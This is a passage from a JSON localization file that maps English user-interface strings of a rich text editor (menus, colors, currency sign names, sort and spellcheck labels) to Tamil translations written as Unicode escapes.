"Header": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1",
"Body": "\u0b89\u0b9f\u0bb2\u0bcd",
"Footer": "\u0b85\u0b9f\u0bbf\u0b95\u0bcd\u0b95\u0bc1\u0bb1\u0bbf\u0baa\u0bcd\u0baa\u0bc1",
"Border color": "\u0b95\u0bb0\u0bc8\u0baf\u0bbf\u0ba9\u0bcd \u0ba8\u0bbf\u0bb1\u0bae\u0bcd",
"Insert template...": "\u0bb5\u0bbe\u0bb0\u0bcd\u0baa\u0bcd\u0baa\u0bc1\u0bb0\u0bc1 \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95...",
"Templates": "\u0bb5\u0bbe\u0bb0\u0bcd\u0baa\u0bcd\u0baa\u0bc1\u0bb0\u0bc1\u0b95\u0bcd\u0b95\u0bb3\u0bcd",
"Template": "\u0bb5\u0bbe\u0bb0\u0bcd\u0baa\u0bcd\u0baa\u0bc1\u0bb0\u0bc1",
"Text color": "\u0b89\u0bb0\u0bc8\u0baf\u0bbf\u0ba9\u0bcd \u0ba8\u0bbf\u0bb1\u0bae\u0bcd",
"Background color": "\u0baa\u0bbf\u0ba9\u0bcd\u0ba9\u0ba3\u0bbf \u0ba8\u0bbf\u0bb1\u0bae\u0bcd",
"Custom...": "\u0ba4\u0ba9\u0bbf\u0baa\u0bcd\u0baa\u0baf\u0ba9\u0bcd...",
"Custom color": "\u0ba4\u0ba9\u0bbf\u0baa\u0bcd\u0baa\u0baf\u0ba9\u0bcd \u0ba8\u0bbf\u0bb1\u0bae\u0bcd",
"No color": "\u0ba8\u0bbf\u0bb1\u0bae\u0bcd \u0b87\u0bb2\u0bcd\u0bb2\u0bc8",
"Remove color": "\u0ba8\u0bbf\u0bb1\u0bae\u0bcd \u0b85\u0b95\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
"Table of Contents": "\u0baa\u0bca\u0bb0\u0bc1\u0bb3\u0b9f\u0b95\u0bcd\u0b95\u0bae\u0bcd",
"Show blocks": "\u0ba4\u0bca\u0b95\u0bc1\u0ba4\u0bbf\u0b95\u0bb3\u0bc8 \u0b95\u0bbe\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Show invisible characters": "\u0b95\u0ba3\u0bcd\u0ba3\u0bc1\u0b95\u0bcd\u0b95\u0bc1\u0ba4\u0bcd \u0ba4\u0bc6\u0bb0\u0bbf\u0baf\u0bbe\u0ba4 \u0b89\u0bb0\u0bc1\u0b95\u0bcd\u0b95\u0bb3\u0bc8 \u0b95\u0bbe\u0b9f\u0bcd\u0b9f\u0bc1\u0b95",
"Word count": "\u0b9a\u0bca\u0bb2\u0bcd \u0b8e\u0ba3\u0bcd\u0ba3\u0bbf\u0b95\u0bcd\u0b95\u0bc8",
"Count": "\u0b8e\u0ba3\u0bcd\u0ba3\u0bbf\u0b95\u0bcd\u0b95\u0bc8",
"Document": "\u0b86\u0bb5\u0ba3\u0bae\u0bcd",
"Selection": "\u0ba4\u0bc7\u0bb0\u0bcd\u0bb5\u0bc1",
"Words": "\u0b9a\u0bca\u0bb1\u0bcd\u0b95\u0bb3\u0bcd",
"Words: {0}": "\u0b9a\u0bca\u0bb1\u0bcd\u0b95\u0bb3\u0bcd: {0}",
"{0} words": "{0} \u0b9a\u0bca\u0bb1\u0bcd\u0b95\u0bb3\u0bcd",
"File": "\u0b95\u0bcb\u0baa\u0bcd\u0baa\u0bc1",
"Edit": "\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"Insert": "\u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95",
"View": "\u0ba8\u0bcb\u0b95\u0bcd\u0b95\u0bc1\u0b95",
"Format": "\u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bc8\u0baa\u0bcd\u0baa\u0bc1",
"Table": "\u0b85\u0b9f\u0bcd\u0b9f\u0bb5\u0ba3\u0bc8",
"Tools": "\u0b95\u0bb0\u0bc1\u0bb5\u0bbf\u0b95\u0bb3\u0bcd",
"Powered by {0}": "\u0bb5\u0bb2\u0bc1\u0bb5\u0bb3\u0bbf\u0baa\u0bcd\u0baa\u0ba4\u0bc1 {0}",
"Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help": "\u0b89\u0baf\u0bb0\u0bcd \u0b89\u0bb0\u0bc8 \u0baa\u0b95\u0bc1\u0ba4\u0bbf. \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0b95\u0bcd\u0b95\u0bc1 ALT-F9 , \u0b95\u0bb0\u0bc1\u0bb5\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f\u0bc8\u0b95\u0bcd\u0b95\u0bc1 ALT-F10 , \u0b89\u0ba4\u0bb5\u0bbf\u0b95\u0bcd\u0b95\u0bc1 ALT-0",
"Image title": "\u0baa\u0b9f\u0ba4\u0bcd \u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1",
"Border width": "\u0b95\u0bb0\u0bc8 \u0b85\u0b95\u0bb2\u0bae\u0bcd",
"Border style": "\u0b95\u0bb0\u0bc8 \u0baa\u0bbe\u0ba3\u0bbf",
"Error": "\u0baa\u0bbf\u0bb4\u0bc8",
"Warn": "\u0b8e\u0b9a\u0bcd\u0b9a\u0bb0\u0bbf\u0b95\u0bcd\u0b95",
"Valid": "\u0b9a\u0bc6\u0bb2\u0bcd\u0bb2\u0ba4\u0bcd\u0ba4\u0b95\u0bcd\u0b95\u0ba4\u0bc1",
"To open the popup, press Shift+Enter": "\u0bae\u0bc7\u0bb2\u0bcd\u0ba4\u0bcb\u0ba9\u0bcd\u0bb1\u0bc1-\u0bb5\u0bc8\u0ba4\u0bcd \u0ba4\u0bbf\u0bb1\u0b95\u0bcd\u0b95 Shift+Enter",
"Rich Text Area. Press ALT-0 for help.": "\u0b89\u0baf\u0bb0\u0bcd \u0b89\u0bb0\u0bc8 \u0baa\u0b95\u0bc1\u0ba4\u0bbf. \u0b89\u0ba4\u0bb5\u0bbf\u0b95\u0bcd\u0b95\u0bc1 ALT-0",
"System Font": "\u0ba4\u0bca\u0b95\u0bc1\u0ba4\u0bbf \u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0bb0\u0bc1",
"Failed to upload image: {0}": "\u0baa\u0b9f\u0bae\u0bcd \u0baa\u0ba4\u0bbf\u0bb5\u0bc7\u0bb1\u0bcd\u0bb1\u0bb2\u0bcd \u0ba4\u0bcb\u0bb2\u0bcd\u0bb5\u0bbf\u0baf\u0bc1\u0bb1\u0bcd\u0bb1\u0ba4\u0bc1: {0}",
"Failed to load plugin: {0} from url {1}": "\u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bbf \u0b8f\u0bb1\u0bcd\u0bb1\u0bc1\u0ba4\u0bb2\u0bcd \u0ba4\u0bcb\u0bb2\u0bcd\u0bb5\u0bbf\u0baf\u0bc1\u0bb1\u0bcd\u0bb1\u0ba4\u0bc1: {0} - {1} \u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf\u0baf\u0bbf\u0bb2\u0bbf\u0bb0\u0bc1\u0ba8\u0bcd\u0ba4\u0bc1",
"Failed to load plugin url: {0}": "\u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bbf \u0b87\u0ba3\u0bc8\u0baf\u0bae\u0bc1\u0b95\u0bb5\u0bb0\u0bbf \u0b8f\u0bb1\u0bcd\u0bb1\u0bc1\u0ba4\u0bb2\u0bcd \u0ba4\u0bcb\u0bb2\u0bcd\u0bb5\u0bbf\u0baf\u0bc1\u0bb1\u0bcd\u0bb1\u0ba4\u0bc1: {0}",
"Failed to initialize plugin: {0}": "\u0b9a\u0bca\u0bb0\u0bc1\u0b95\u0bbf \u0ba4\u0bc1\u0bb5\u0b99\u0bcd\u0b95\u0bc1\u0ba4\u0bb2\u0bcd \u0ba4\u0bcb\u0bb2\u0bcd\u0bb5\u0bbf\u0baf\u0bc1\u0bb1\u0bcd\u0bb1\u0ba4\u0bc1: {0}",
"example": "\u0b89\u0ba4\u0bbe\u0bb0\u0ba3\u0bae\u0bcd",
"Search": "\u0ba4\u0bc7\u0b9f\u0bc1\u0b95",
"All": "\u0b85\u0ba9\u0bc8\u0ba4\u0bcd\u0ba4\u0bc1\u0bae\u0bcd",
"Currency": "\u0b9a\u0bc6\u0bb2\u0bbe\u0bb5\u0ba3\u0bbf (Currency)",
"Text": "\u0b89\u0bb0\u0bc8",
"Quotations": "\u0bae\u0bc7\u0bb1\u0bcd\u0b95\u0bc7\u0bbe\u0bb3\u0bcd\u0b95\u0bb3\u0bcd",
"Mathematical": "\u0b95\u0ba3\u0b95\u0bcd\u0b95\u0bbf\u0baf\u0bb2\u0bcd",
"Extended Latin": "\u0ba8\u0bc0\u0b9f\u0bcd\u0b9f\u0bbf\u0b95\u0bcd\u0b95\u0baa\u0bcd\u0baa\u0b9f\u0bcd\u0b9f \u0b87\u0bb2\u0ba4\u0bcd\u0ba4\u0bc0\u0ba9\u0bcd",
"Symbols": "\u0b87\u0b9f\u0bc1\u0b95\u0bc1\u0bb1\u0bbf\u0b95\u0bb3\u0bcd",
"Arrows": "\u0b85\u0bae\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"User Defined": "\u0baa\u0baf\u0ba9\u0bb0\u0bcd \u0bb5\u0bb0\u0bc8\u0baf\u0bb1\u0bc1\u0ba4\u0bcd\u0ba4",
"dollar sign": "dollar \u0b95\u0bc1\u0bb1\u0bbf",
"currency sign": "\u0b9a\u0bc6\u0bb2\u0bbe\u0bb5\u0ba3\u0bbf\u0b95\u0bcd \u0b95\u0bc1\u0bb1\u0bbf",
"euro-currency sign": "euro-currency \u0b95\u0bc1\u0bb1\u0bbf",
"colon sign": "colon \u0b95\u0bc1\u0bb1\u0bbf",
"cruzeiro sign": "cruzeiro \u0b95\u0bc1\u0bb1\u0bbf",
"french franc sign": "french franc \u0b95\u0bc1\u0bb1\u0bbf",
"lira sign": "lira \u0b95\u0bc1\u0bb1\u0bbf",
"mill sign": "mill \u0b95\u0bc1\u0bb1\u0bbf",
"naira sign": "naira \u0b95\u0bc1\u0bb1\u0bbf",
"peseta sign": "peseta \u0b95\u0bc1\u0bb1\u0bbf",
"rupee sign": "rupee \u0b95\u0bc1\u0bb1\u0bbf",
"won sign": "won \u0b95\u0bc1\u0bb1\u0bbf",
"new sheqel sign": "new sheqel \u0b95\u0bc1\u0bb1\u0bbf",
"dong sign": "dong \u0b95\u0bc1\u0bb1\u0bbf",
"kip sign": "kip \u0b95\u0bc1\u0bb1\u0bbf",
"tugrik sign": "tugrik \u0b95\u0bc1\u0bb1\u0bbf",
"drachma sign": "drachma \u0b95\u0bc1\u0bb1\u0bbf",
"german penny symbol": "german penny \u0b87\u0b9f\u0bc1\u0b95\u0bc1\u0bb1\u0bbf",
"peso sign": "peso \u0b95\u0bc1\u0bb1\u0bbf",
"guarani sign": "guarani \u0b95\u0bc1\u0bb1\u0bbf",
"austral sign": "austral \u0b95\u0bc1\u0bb1\u0bbf",
"hryvnia sign": "hryvnia \u0b95\u0bc1\u0bb1\u0bbf",
"cedi sign": "cedi \u0b95\u0bc1\u0bb1\u0bbf",
"livre tournois sign": "livre tournois \u0b95\u0bc1\u0bb1\u0bbf",
"spesmilo sign": "spesmilo \u0b95\u0bc1\u0bb1\u0bbf",
"tenge sign": "tenge \u0b95\u0bc1\u0bb1\u0bbf",
"indian rupee sign": "indian rupee \u0b95\u0bc1\u0bb1\u0bbf",
"turkish lira sign": "turkish lira \u0b95\u0bc1\u0bb1\u0bbf",
"nordic mark sign": "nordic mark \u0b95\u0bc1\u0bb1\u0bbf",
"manat sign": "manat \u0b95\u0bc1\u0bb1\u0bbf",
"ruble sign": "ruble \u0b95\u0bc1\u0bb1\u0bbf",
"yen character": "yen \u0b89\u0bb0\u0bc1",
"yuan character": "yuan \u0b89\u0bb0\u0bc1",
"yuan character, in hong kong and taiwan": "yuan \u0b89\u0bb0\u0bc1, \u0bb9\u0bbe\u0b99\u0bcd\u0b95\u0bbe\u0b99\u0bcd \u0bae\u0bb1\u0bcd\u0bb1\u0bc1\u0bae\u0bcd \u0ba4\u0bbe\u0baf\u0bcd\u0bb5\u0bbe\u0ba9\u0bcd \u0b87\u0bb2\u0bcd",
"yen\/yuan character variant one": "yen\/yuan \u0b89\u0bb0\u0bc1 \u0bae\u0bbe\u0bb1\u0bc1\u0baa\u0bbe\u0b9f\u0bc1",
"Loading emoticons...": "\u0b89\u0ba3\u0bb0\u0bcd\u0b9a\u0bcd\u0b9a\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bbf\u0bae\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0b8f\u0bb1\u0bcd\u0bb1\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0b95\u0bbf\u0ba9\u0bcd\u0bb1\u0ba9...",
"Could not load emoticons": "\u0b89\u0ba3\u0bb0\u0bcd\u0b9a\u0bcd\u0b9a\u0bbf\u0baa\u0bcd\u0baa\u0b9f\u0bbf\u0bae\u0b99\u0bcd\u0b95\u0bb3\u0bc8 \u0b8f\u0bb1\u0bcd\u0bb1 \u0bae\u0bc1\u0b9f\u0bbf\u0baf\u0bb5\u0bbf\u0bb2\u0bcd\u0bb2\u0bc8",
"People": "\u0bae\u0b95\u0bcd\u0b95\u0bb3\u0bcd",
"Animals and Nature": "\u0bae\u0bbf\u0bb0\u0bc1\u0b95\u0b99\u0bcd\u0b95\u0bb3\u0bcd \u0bae\u0bb1\u0bcd\u0bb1\u0bc1\u0bae\u0bcd \u0b87\u0baf\u0bb1\u0bcd\u0b95\u0bc8",
"Food and Drink": "\u0b89\u0ba3\u0bb5\u0bc1 \u0bae\u0bb1\u0bcd\u0bb1\u0bc1\u0bae\u0bcd \u0baa\u0bbe\u0ba9\u0bae\u0bcd",
"Activity": "\u0b9a\u0bc6\u0baf\u0bb1\u0bcd\u0baa\u0bbe\u0b9f\u0bc1",
"Travel and Places": "\u0baa\u0baf\u0ba3\u0bae\u0bcd \u0bae\u0bb1\u0bcd\u0bb1\u0bc1\u0bae\u0bcd \u0b87\u0b9f\u0b99\u0bcd\u0b95\u0bb3\u0bcd",
"Objects": "\u0baa\u0bca\u0bb0\u0bc1\u0b9f\u0bcd\u0b95\u0bb3\u0bcd",
"Flags": "\u0b95\u0bca\u0b9f\u0bbf\u0b95\u0bb3\u0bcd",
"Characters": "\u0b89\u0bb0\u0bc1\u0b95\u0bcd\u0b95\u0bb3\u0bcd",
"Characters (no spaces)": "\u0b89\u0bb0\u0bc1\u0b95\u0bcd\u0b95\u0bb3\u0bcd (\u0b87\u0b9f\u0bc8\u0bb5\u0bc6\u0bb3\u0bbf\u0b95\u0bb3\u0bcd \u0b87\u0bb2\u0bcd\u0bb2\u0bc8)",
"{0} characters": "{0} \u0b89\u0bb0\u0bc1\u0b95\u0bcd\u0b95\u0bb3\u0bcd",
"Error: Form submit field collision.": "\u0baa\u0bbf\u0bb4\u0bc8: \u0baa\u0b9f\u0bbf\u0bb5\u0bae\u0bcd \u0b9a\u0bae\u0bb0\u0bcd\u0baa\u0bcd\u0baa\u0bbf\u0ba4\u0bcd\u0ba4\u0bb2\u0bcd \u0baa\u0bc1\u0bb2\u0bae\u0bcd \u0bae\u0bcb\u0ba4\u0bb2\u0bcd.",
"Error: No form element found.": "\u0baa\u0bbf\u0bb4\u0bc8: \u0baa\u0bc1\u0bb2\u0bae\u0bcd \u0bae\u0bc2\u0bb2\u0b95\u0bae\u0bcd \u0b8e\u0ba4\u0bc1\u0bb5\u0bc1\u0bae\u0bcd \u0b95\u0bbe\u0ba3\u0bb5\u0bbf\u0bb2\u0bcd\u0bb2\u0bc8.",
"Update": "\u0baa\u0bc1\u0ba4\u0bc1\u0baa\u0bcd\u0baa\u0bbf\u0b95\u0bcd\u0b95",
"Color swatch": "\u0ba8\u0bbf\u0bb1\u0b9a\u0bcd \u0b9a\u0bcb\u0ba4\u0ba9\u0bc8\u0b95\u0bcd\u0b95\u0bb2\u0bb5\u0bc8",
"Turquoise": "\u0ba8\u0bc0\u0bb2\u0baa\u0bcd\u0baa\u0b9a\u0bcd\u0b9a\u0bc8",
"Green": "\u0baa\u0b9a\u0bcd\u0b9a\u0bc8",
"Blue": "\u0ba8\u0bc0\u0bb2\u0bae\u0bcd",
"Purple": "\u0b8a\u0ba4\u0bbe",
"Navy Blue": "\u0b95\u0b9f\u0bb1\u0bcd\u0baa\u0b9f\u0bc8 \u0ba8\u0bc0\u0bb2\u0bae\u0bcd",
"Dark Turquoise": "\u0b85\u0b9f\u0bb0\u0bcd \u0ba8\u0bc0\u0bb2\u0baa\u0bcd\u0baa\u0b9a\u0bcd\u0b9a\u0bc8",
"Dark Green": "\u0b85\u0b9f\u0bb0\u0bcd \u0baa\u0b9a\u0bcd\u0b9a\u0bc8",
"Medium Blue": "\u0ba8\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bb0 \u0ba8\u0bc0\u0bb2\u0bae\u0bcd",
"Medium Purple": "\u0ba8\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bb0 \u0b8a\u0ba4\u0bbe",
"Midnight Blue": "\u0ba8\u0bb3\u0bcd\u0bb3\u0bbf\u0bb0\u0bb5\u0bc1 \u0ba8\u0bc0\u0bb2\u0bae\u0bcd",
"Yellow": "\u0bae\u0b9e\u0bcd\u0b9a\u0bb3\u0bcd",
"Orange": "\u0b9a\u0bbf\u0bb5\u0ba8\u0bcd\u0ba4 \u0bae\u0b9e\u0bcd\u0b9a\u0bb3\u0bcd",
"Red": "\u0b9a\u0bbf\u0bb5\u0baa\u0bcd\u0baa\u0bc1",
"Light Gray": "\u0bb5\u0bc6\u0bb3\u0bbf\u0bb0\u0bcd \u0b9a\u0bbe\u0bae\u0bcd\u0baa\u0bb2\u0bcd",
"Gray": "\u0b9a\u0bbe\u0bae\u0bcd\u0baa\u0bb2\u0bcd",
"Dark Yellow": "\u0b85\u0b9f\u0bb0\u0bcd \u0bae\u0b9e\u0bcd\u0b9a\u0bb3\u0bcd",
"Dark Orange": "\u0b85\u0b9f\u0bb0\u0bcd \u0b9a\u0bbf\u0bb5\u0ba8\u0bcd\u0ba4 \u0bae\u0b9e\u0bcd\u0b9a\u0bb3\u0bcd",
"Dark Red": "\u0b85\u0b9f\u0bb0\u0bcd \u0b9a\u0bbf\u0bb5\u0baa\u0bcd\u0baa\u0bc1",
"Medium Gray": "\u0ba8\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bb0 \u0b9a\u0bbe\u0bae\u0bcd\u0baa\u0bb2\u0bcd",
"Dark Gray": "\u0b85\u0b9f\u0bb0\u0bcd \u0b9a\u0bbe\u0bae\u0bcd\u0baa\u0bb2\u0bcd",
"Light Green": "\u0bb5\u0bc6\u0bb3\u0bbf\u0bb0\u0bcd \u0baa\u0b9a\u0bcd\u0b9a\u0bc8",
"Light Yellow": "\u0bb5\u0bc6\u0bb3\u0bbf\u0bb0\u0bcd \u0bae\u0b9e\u0bcd\u0b9a\u0bb3\u0bcd",
"Light Red": "\u0bb5\u0bc6\u0bb3\u0bbf\u0bb0\u0bcd\u00a0\u0b9a\u0bbf\u0bb5\u0baa\u0bcd\u0baa\u0bc1",
"Light Purple": "\u0bb5\u0bc6\u0bb3\u0bbf\u0bb0\u0bcd \u0b8a\u0ba4\u0bbe",
"Light Blue": "\u0bb5\u0bc6\u0bb3\u0bbf\u0bb0\u0bcd \u0ba8\u0bc0\u0bb2\u0bae\u0bcd",
"Dark Purple": "\u0b85\u0b9f\u0bb0\u0bcd \u0b8a\u0ba4\u0bbe",
"Dark Blue": "\u0b85\u0b9f\u0bb0\u0bcd \u0ba8\u0bc0\u0bb2\u0bae\u0bcd",
"Black": "\u0b95\u0bb0\u0bc1\u0baa\u0bcd\u0baa\u0bc1",
"White": "\u0bb5\u0bc6\u0bb3\u0bcd\u0bb3\u0bc8",
"Switch to or from fullscreen mode": "\u0bae\u0bc1\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bbf\u0bb0\u0bc8 \u0bae\u0bc1\u0bb1\u0bc8\u0bae\u0bc8\u0b95\u0bcd\u0b95\u0bc1\/\u0bae\u0bc1\u0bb1\u0bc8\u0bae\u0bc8\u0baf\u0bbf\u0bb2\u0bbf\u0bb0\u0bc1\u0ba8\u0bcd\u0ba4\u0bc1 \u0bae\u0bbe\u0bb1\u0bc1\u0b95",
"Open help dialog": "\u0b89\u0ba4\u0bb5\u0bbf \u0b89\u0bb0\u0bc8\u0baf\u0bbe\u0b9f\u0bb2\u0bcd \u0ba4\u0bbf\u0bb1\u0b95\u0bcd\u0b95",
"history": "\u0bb5\u0bb0\u0bb2\u0bbe\u0bb1\u0bc1",
"styles": "\u0baa\u0bbe\u0ba3\u0bbf\u0b95\u0bb3\u0bcd",
"formatting": "\u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bc8\u0ba4\u0bcd\u0ba4\u0bb2\u0bcd",
"alignment": "\u0b9a\u0bc0\u0bb0\u0bae\u0bc8\u0bb5\u0bc1",
"indentation": "\u0b89\u0bb3\u0bcd\u0ba4\u0bb3\u0bcd\u0bb3\u0bc1\u0ba4\u0bb2\u0bcd",
"Font": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0bb0\u0bc1",
"Size": "\u0b85\u0bb3\u0bb5\u0bc1",
"More...": "\u0bae\u0bc7\u0bb2\u0bc1\u0bae\u0bcd...",
"Select...": "\u0ba4\u0bc7\u0bb0\u0bcd\u0bb5\u0bc1 \u0b9a\u0bc6\u0baf\u0bcd\u0b95...",
"Preferences": "\u0bb5\u0bbf\u0bb0\u0bc1\u0baa\u0bcd\u0baa\u0b99\u0bcd\u0b95\u0bb3\u0bcd",
"Yes": "\u0b86\u0bae\u0bcd",
"No": "\u0b87\u0bb2\u0bcd\u0bb2\u0bc8",
"Keyboard Navigation": "\u0bb5\u0bbf\u0b9a\u0bc8\u0baa\u0bcd\u0baa\u0bb2\u0b95\u0bc8 \u0bb5\u0bb4\u0bbf\u0b9a\u0bcd\u0b9a\u0bc6\u0bb2\u0bc1\u0ba4\u0bcd\u0ba4\u0bb2\u0bcd",
"Version": "\u0baa\u0ba4\u0bbf\u0baa\u0bcd\u0baa\u0bc1",
"Code view": "\u0b95\u0bc1\u0bb1\u0bbf\u0baf\u0bc0\u0b9f\u0bc1 \u0ba8\u0bcb\u0b95\u0bcd\u0b95\u0bc1",
"Open popup menu for split buttons": "\u0baa\u0bbf\u0bb3\u0bb5\u0bc1 \u0baa\u0bca\u0ba4\u0bcd\u0ba4\u0bbe\u0ba9\u0bcd\u0b95\u0bb3\u0bc1\u0b95\u0bcd\u0b95\u0bc1 \u0bae\u0bc7\u0bb2\u0bcd\u0ba4\u0bcb\u0ba9\u0bcd\u0bb1\u0bc1 \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bc8 \u0ba4\u0bbf\u0bb1\u0b95\u0bcd\u0b95",
"List Properties": "\u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bb2\u0bbf\u0b9f\u0bc1\u0b95",
"List properties...": "\u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd \u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bb2\u0bbf\u0b9f\u0bc1\u0b95..",
"Start list at number": "\u0baa\u0b9f\u0bcd\u0b9f\u0bbf\u0baf\u0bb2\u0bc8 \u0b87\u0ba8\u0bcd\u0ba4 \u0b8e\u0ba3\u0bcd\u0ba3\u0bbf\u0bb2\u0bcd \u0ba4\u0bca\u0b9f\u0b99\u0bcd\u0b95\u0bc1\u0b95",
"Line height": "\u0bb5\u0bb0\u0bbf \u0b89\u0baf\u0bb0\u0bae\u0bcd",
"comments": "\u0b95\u0bb0\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95\u0bb3\u0bcd",
"Format Painter": "\u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0baa\u0bc2\u0b9a\u0bbe\u0bb3\u0ba9\u0bcd",
"Insert\/edit iframe": "iframe \u0b9a\u0bc6\u0bb0\u0bc1\u0b95\u0bc1\u0b95\/\u0ba4\u0bca\u0b95\u0bc1\u0b95\u0bcd\u0b95",
"Capitalization": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bbe\u0b95\u0bcd\u0b95\u0bae\u0bcd",
"lowercase": "\u0b9a\u0bbf\u0bb1\u0bcd\u0bb1\u0bc6\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1",
"UPPERCASE": "\u0baa\u0bc7\u0bb0\u0bc6\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1",
"Title Case": "\u0ba4\u0bb2\u0bc8\u0baa\u0bcd\u0baa\u0bc1 \u0bb5\u0b9f\u0bbf\u0bb5\u0bae\u0bcd",
"permanent pen": "\u0ba8\u0bbf\u0bb0\u0ba8\u0bcd\u0ba4\u0bb0\u0baa\u0bcd \u0baa\u0bc7\u0ba9\u0bbe",
"Permanent Pen Properties": "\u0ba8\u0bbf\u0bb0\u0ba8\u0bcd\u0ba4\u0bb0\u0baa\u0bcd \u0baa\u0bc7\u0ba9\u0bbe \u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd",
"Permanent pen properties...": "\u0ba8\u0bbf\u0bb0\u0ba8\u0bcd\u0ba4\u0bb0\u0baa\u0bcd \u0baa\u0bc7\u0ba9\u0bbe \u0baa\u0ba3\u0bcd\u0baa\u0bc1\u0b95\u0bb3\u0bcd...",
"case change": "\u0bb5\u0b9f\u0bbf\u0bb5\u0bc1 \u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bae\u0bcd",
"page embed": "\u0baa\u0b95\u0bcd\u0b95\u0bae\u0bcd \u0b89\u0b9f\u0bcd\u0baa\u0bca\u0ba4\u0bbf\u0ba4\u0bcd\u0ba4\u0bb2\u0bcd",
"Advanced sort...": "\u0bae\u0bc7\u0bae\u0bcd\u0baa\u0b9f\u0bcd\u0b9f \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0baf\u0bbe\u0b95\u0bcd\u0b95\u0bae\u0bcd...",
"Advanced Sort": "\u0bae\u0bc7\u0bae\u0bcd\u0baa\u0b9f\u0bcd\u0b9f \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0baf\u0bbe\u0b95\u0bcd\u0b95\u0bae\u0bcd",
"Sort table by column ascending": "\u0b85\u0b9f\u0bcd\u0b9f\u0bb5\u0ba3\u0bc8\u0baf\u0bc8 \u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b8f\u0bb1\u0bc1\u0bae\u0bc1\u0b95\u0bae\u0bbe\u0b95 \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Sort table by column descending": "\u0b85\u0b9f\u0bcd\u0b9f\u0bb5\u0ba3\u0bc8\u0baf\u0bc8 \u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 \u0b87\u0bb1\u0b99\u0bcd\u0b95\u0bc1\u0bae\u0bc1\u0b95\u0bae\u0bbe\u0b95 \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Sort": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Order": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0bae\u0bc1\u0bb1\u0bc8",
"Sort by": "\u0b87\u0ba4\u0ba9\u0bbe\u0bb2\u0bcd \u0bb5\u0bb0\u0bbf\u0b9a\u0bc8\u0baa\u0bcd\u0baa\u0b9f\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0b95",
"Ascending": "\u0b8f\u0bb1\u0bc1\u0bae\u0bc1\u0b95\u0bae\u0bcd",
"Descending": "\u0b87\u0bb1\u0b99\u0bcd\u0b95\u0bc1\u0bae\u0bc1\u0b95\u0bae\u0bcd",
"Column {0}": "\u0ba8\u0bc6\u0b9f\u0bc1\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 {0}",
"Row {0}": "\u0bb5\u0bb0\u0bbf\u0b9a\u0bc8 {0}",
"Spellcheck...": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0baa\u0bcd\u0baa\u0bbf\u0bb4\u0bc8\u0baf\u0bc8 \u0b9a\u0bb0\u0bbf\u0baa\u0bbe\u0bb0\u0bcd\u0b95\u0bcd\u0b95...",
"Misspelled word": "\u0b8e\u0bb4\u0bc1\u0ba4\u0bcd\u0ba4\u0bc1\u0baa\u0bcd\u0baa\u0bbf\u0bb4\u0bc8\u0baf\u0bc1\u0bb3\u0bcd\u0bb3 \u0b9a\u0bca\u0bb2\u0bcd",
"Suggestions": "\u0baa\u0bb0\u0bbf\u0ba8\u0bcd\u0ba4\u0bc1\u0bb0\u0bc8\u0b95\u0bb3\u0bcd",
"Change": "\u0bae\u0bbe\u0bb1\u0bcd\u0bb1\u0bc1\u0b95",
